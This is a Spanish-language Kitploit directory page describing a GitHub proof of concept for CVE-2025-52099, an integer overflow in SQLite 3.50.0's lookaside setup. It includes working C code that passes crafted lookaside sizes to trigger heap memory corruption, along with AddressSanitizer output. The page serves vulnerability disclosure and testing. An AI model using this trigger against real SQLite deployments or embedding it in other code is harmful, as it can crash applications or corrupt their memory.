Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-52099 — Prueba de concepto para CVE-2025-52099, un desbordamiento de enteros en la función setupLookaside de SQLite 3.50.0 que provoca un desbordamiento de búfer en el montón. | Kitploit
Herramientas/GitHubGitHub/screambby/cve-2025-52099
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónFuzzingAnálisis de Binarios
GitHubscreambby/cve-2025-52099

CVE-2025-52099

Prueba de concepto para CVE-2025-52099, un desbordamiento de enteros en la función setupLookaside de SQLite 3.50.0 que provoca un desbordamiento de búfer en el montón.

Ver Repositorio
5hace 10 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-52099

un desbordamiento de enteros en SQLite 3.50.0 A continuación se proporciona una prueba de concepto (PoC) para desencadenar un desbordamiento de enteros en la función setupLookaside de SQLite 3.50.0. Este desbordamiento ocurre debido a la multiplicación sin verificar de sz * nBig, que puede envolverse en un valor negativo y provocar escrituras de memoria no válidas.

Probado en: Ubuntu 22.04 x86_64 con SQLite 3.50.0 (compilado personalizado)

Código PoC (C):

#include <stdio.h> #include <sqlite3.h>

int main() { sqlite3 *db;

root@kitploit:~
// Open SQLite database
if (sqlite3_open("test.db", &db)) {
    fprintf(stderr, "Can't open database: %s\n", sqlite3_errmsg(db));
    return 1;
}

// Malicious lookaside configuration
// sz = 140, cnt = 1979733333
// This causes internal sz * nBig to overflow and produces negative nSm
int rc = sqlite3_db_config(db, SQLITE_DBCONFIG_LOOKASIDE, NULL, 140, 1979733333);
if (rc != SQLITE_OK) {
    fprintf(stderr, "Failed to configure lookaside: %d\n", rc);
    return 2;
} else {
    printf("[+] Lookaside configured\n");
}

// Create table and perform many inserts to exercise corrupted lookaside pool
sqlite3_exec(db, "CREATE TABLE test(id INTEGER);", NULL, NULL, NULL);

for (int i = 0; i < 100000; i++) {
    char sql[64];
    snprintf(sql, sizeof(sql), "INSERT INTO test(id) VALUES(%d);", i);
    sqlite3_exec(db, sql, NULL, NULL, NULL);
}

printf("[+] Insert finished. Closing DB.\n");
sqlite3_close(db);
return 0;

}

Esta PoC, cuando se compila con AddressSanitizer (-fsanitize=address), produce un desbordamiento de búfer en el montón debido a una configuración no válida de la ranura lookaside.

Salida observada con ASAN:

==12345==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000f000 ... READ of size 8 at 0x60200000f000 thread T0 ...

Descargar herramienta